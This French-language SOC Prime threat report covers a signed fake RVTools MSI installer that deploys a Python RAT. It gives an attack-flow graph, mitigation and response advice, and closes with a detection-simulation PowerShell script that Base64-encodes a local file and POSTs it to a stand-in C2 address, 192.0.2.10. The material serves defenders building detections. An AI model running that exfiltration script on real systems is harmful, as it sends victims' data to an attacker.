SOC Prime Bias: Moyen

29 May 2026 07:20 UTC

RVTools Mascarade : Comment un Faux Installateur Signé Déploie un RAT Modulaire en Python

Author Photo
SOC Prime Team linkedin icon Suivre
RVTools Mascarade : Comment un Faux Installateur Signé Déploie un RAT Modulaire en Python
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Un installateur MSI malveillant signé avec un certificat légitime se fait passer pour l’utilitaire RVTools utilisé par les administrateurs VMware. Une fois exécuté, l’installateur déploie un script VBScript qui lance PowerShell pour télécharger une grande archive ZIP depuis Dropbox. Cette archive contient un environnement Python portable qui exécute un RAT à plusieurs étapes capable de reconnaissance, de persistance et de communication avec des serveurs de commande et contrôle codés en dur.

Enquête

L’analyse a retracé le MSI à une action personnalisée de VBScript, Binary.MyScript.vbs, qui a décodé une commande PowerShell obfusquée. Cette commande a téléchargé une winp.zip charge utile dans %APPDATA%, a extrait des composants et scripts Python tels que collector.py and Pmanager.py, puis a établi la persistance par des clés de registre Run et une tâche planifiée après redémarrage. Les chercheurs ont également trouvé que le RAT cryptait les données collectées avec RC4 et communiquait avec cinq adresses IP fixes à des intervalles de cinq minutes.

Atténuation

Les organisations devraient appliquer une validation stricte de la signature de code avec des vérifications OCSP ou CRL en direct, bloquer l’exécution d’MSI non approuvés, et surveiller les actions VBScript personnalisées suspectes intégrées dans les paquets d’installation. Les défenseurs devraient également empêcher l’exécution automatique des scripts téléchargés, surveiller les nouvelles entrées de clés Run et la création de tâches planifiées, et alerter sur le trafic sortant vers des adresses IP inconnues codées en dur.

Réponse

Si cette activité est détectée, isolez immédiatement l’endpoint affecté, collectez le MSI, le VBScript et les fichiers de charge utile extraits pour analyse forensique, et supprimez tous les artefacts de persistance, y compris la clé Run et la tâche planifiée. Les adresses IP de commande et contrôle identifiées doivent être bloquées au niveau du pare-feu, et un examen plus large des informations d’identification et de l’activité Active Directory doit être effectué pour déterminer si un mouvement latéral a eu lieu.

graph TB %% Class definitions classDef phase fill:#99ccff classDef technique fill:#ffcc99 classDef tool fill:#cccccc classDef artifact fill:#e0e0e0 classDef persistence fill:#c2f0c2 classDef c2 fill:#f9c2c2 classDef evasion fill:#f0e68c %% Phases phase_initial_access[« <b>Phase</b> : Accès initial<br/><b>Action</b> – La victime exécute un MSI malveillant signé se faisant passer pour RVTools. »] class phase_initial_access phase phase_execution[« <b>Phase</b> : Exécution<br/><b>Action</b> – MSI utilise Msiexec pour exécuter un VBScript qui lance un téléchargeur PowerShell caché. »] class phase_execution phase phase_payload[« <b>Phase</b> : Déploiement de charge utile<br/><b>Action</b> – L’archive est décompressée dans un environnement WinPython portable contenant collector.py et manager.py. »] class phase_payload phase phase_persistence[« <b>Phase</b> : Persistance<br/><b>Action</b> – Le gestionnaire Python crée une clé Run du Registre, une tâche planifiée et une entrée Active Setup. »] class phase_persistence phase phase_c2[« <b>Phase</b> : Commande et contrôle<br/><b>Action</b> – Les données collectées sont archivées, chiffrées en RC4 et exfiltrées via HTTP POST vers des IP codées en dur. »] class phase_c2 phase phase_evasion[« <b>Phase</b> : Évasion de défense<br/><b>Action</b> – Utilisation de binaires signés, d’exécution proxy et d’obfuscation de caractères pour contourner les détections. »] class phase_evasion phase %% Techniques for Initial Access tech_user_execution[« <b>Technique</b> T1204.002 Exécution utilisateur : fichier malveillant<br/>La victime exécute un fichier qu’elle pense légitime. »] class tech_user_execution technique tech_masquerading[« <b>Technique</b> T1036.001 Déguisement<br/>Le binaire est signé et nommé comme un outil légitime (RVTools). »] class tech_masquerading technique tech_trusted_dev_proxy[« <b>Technique</b> T1127 Exécution proxy via outils de développeur approuvés<br/>Un binaire signé est utilisé pour contourner les contrôles de réputation. »] class tech_trusted_dev_proxy technique %% Techniques for Execution tech_msiexec_proxy[« <b>Technique</b> T1218.007 Exécution proxy de binaire système : Msiexec<br/>Msiexec exécute le MSI malveillant. »] class tech_msiexec_proxy technique tech_vbscript[« <b>Technique</b> T1059.005 Interpréteur de scripts : VBScript<br/>Une action personnalisée lance une charge VBScript. »] class tech_vbscript technique tech_powershell[« <b>Technique</b> T1059.001 Interpréteur de scripts : PowerShell<br/>VBScript exécute un téléchargeur PowerShell caché. »] class tech_powershell technique %% Techniques for Payload Deployment tech_archive_custom[« <b>Technique</b> T1560.003 Archivage de données collectées : méthode personnalisée<br/>Archive ZIP de 33 Mo (winp.zip) téléchargée et décompressée. »] class tech_archive_custom technique %% Techniques for Persistence tech_registry_run[« <b>Technique</b> T1037.004 Scripts de démarrage/connexion : clé Run du Registre<br/>Clé Run créée pour lancer manager.py au démarrage. »] class tech_registry_run persistence tech_scheduled_task[« <b>Technique</b> T1053 Tâche planifiée<br/>Tâche quotidienne exécutée avec privilèges SYSTEM. »] class tech_scheduled_task persistence tech_active_setup[« <b>Technique</b> T1547.014 Exécution automatique Active Setup<br/>Entrée Active Setup ajoutée pour chaque utilisateur. »] class tech_active_setup persistence tech_hijack_execution[« <b>Technique</b> T1574 Détournement de flux d’exécution<br/>Une tâche planifiée détourne le flux normal d’exécution. »] class tech_hijack_execution evasion %% Techniques for Command and Control tech_exfil_unencrypted[« <b>Technique</b> T1048.003 Exfiltration via protocole non C2 non chiffré<br/>Données envoyées via HTTP POST vers des IP codées. »] class tech_exfil_unencrypted c2 tech_exfil_asymmetric[« <b>Technique</b> T1048.002 Exfiltration via protocole asymétrique chiffré non C2<br/>Données chiffrées avec RC4 avant transmission. »] class tech_exfil_asymmetric c2 %% Techniques for Defense Evasion tech_system_script_proxy[« <b>Technique</b> T1216.002 Exécution proxy de script système : SyncAppvPublishingServer<br/>Scripts fiables utilisés pour masquer l’activité. »] class tech_system_script_proxy evasion tech_system_binary_proxy[« <b>Technique</b> T1218 Exécution proxy de binaire système<br/>Utilitaires Windows signés détournés. »] class tech_system_binary_proxy evasion %% Artifacts artifact_msi[« <b>Artefact</b> : malicious_RVTools.msi<br/>MSI signé utilisé pour l’accès initial. »] class artifact_msi artifact artifact_zip[« <b>Artefact</b> : winp.zip<br/>Archive hébergée sur Dropbox contenant WinPython. »] class artifact_zip artifact artifact_python_env[« <b>Artefact</b> : environnement WinPython<br/>Contient collector.py et manager.py. »] class artifact_python_env artifact artifact_registry_key[« <b>Artefact</b> : clé Run du Registre<br/>Clé lançant WinPythonMgr. »] class artifact_registry_key artifact artifact_scheduled_task[« <b>Artefact</b> : tâche planifiée<br/>WinPythonDaily exécutée en SYSTEM. »] class artifact_scheduled_task artifact artifact_active_setup[« <b>Artefact</b> : entrée Active Setup<br/>Configuration d’autostart WinPython. »] class artifact_active_setup artifact artifact_c2_ip[« <b>Artefact</b> : adresses IP C2<br/>Adresses IPv4 codées en dur utilisées via HTTP. »] class artifact_c2_ip artifact %% Connections phase_initial_access –>|utilise| tech_user_execution phase_initial_access –>|utilise| tech_masquerading phase_initial_access –>|utilise| tech_trusted_dev_proxy phase_initial_access –>|livre| artifact_msi tech_user_execution –>|exécute| artifact_msi tech_masquerading –>|active| artifact_msi tech_trusted_dev_proxy –>|contourne| artifact_msi phase_execution –>|utilise| tech_msiexec_proxy tech_msiexec_proxy –>|exécute| tech_vbscript tech_vbscript –>|lance| tech_powershell tech_powershell –>|télécharge| artifact_zip artifact_zip –>|décompressé en| artifact_python_env phase_payload –>|contient| artifact_python_env phase_persistence –>|crée| tech_registry_run phase_persistence –>|crée| tech_scheduled_task phase_persistence –>|crée| tech_active_setup phase_persistence –>|utilise| tech_hijack_execution tech_registry_run –>|écrit| artifact_registry_key tech_scheduled_task –>|crée| artifact_scheduled_task tech_active_setup –>|écrit| artifact_active_setup phase_c2 –>|archive et chiffre| tech_archive_custom tech_archive_custom –>|envoie via| tech_exfil_unencrypted tech_exfil_unencrypted –>|utilise| artifact_c2_ip tech_exfil_unencrypted –>|aussi utilise| tech_exfil_asymmetric phase_evasion –>|applique| tech_system_script_proxy phase_evasion –>|applique| tech_system_binary_proxy tech_system_binary_proxy –>|facilite| tech_msiexec_proxy tech_system_script_proxy –>|facilite| tech_vbscript

Flux d’Attaque

Exécution de la Simulation

Condition Préalable: Le Contrôle Avant Décollage de Télémetrie & Base doit être Passé.

Raison: Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT directement refléter les TTP identifiés et visent à générer la télémetrie exacte attendue par la logique de détection.

  • Narration & Commandes de l’Attaque:
    Un adversaire qui s’est déjà établi sur la machine victime décide d’exfiltrer un petit jeu de données (par exemple, C:Tempsecret.txt). Pour éviter de déclencher des alertes de trafic sortant génériques, l’acteur utilise un PowerShell one‑liner qui exécute un HTTP POST directement vers une des adresses IP C2 codées en dur (192.0.2.10). La commande est planifiée via une Tâche Planifiée pour assurer la persistance (T1546.013). Aucun autre binaire n’est déposé, maintenant l’activité « vivre-de-la-terre ».

  • Script de Test de Régression:

    # -------------------------------------------------
    # Script PowerShell – Exfiltration des données via IP codée en dur
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # Assurez-vous que le fichier existe (créer des données fictives pour le test)
    if (-Not (Test-Path $file)) {
        "données sensibles $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # Lire le contenu du fichier et l'encodage en Base64
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # Effectuer le POST HTTP
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "Tentative d'exfiltration envoyée à $c2Ip"
    } catch {
        Write-Error "Échec de l'exfiltration : $_"
    }
  • Commandes de Nettoyage:

    # Supprimer le fichier fictif
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # Supprimer toute tâche planifiée créée pour le test (le cas échéant)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }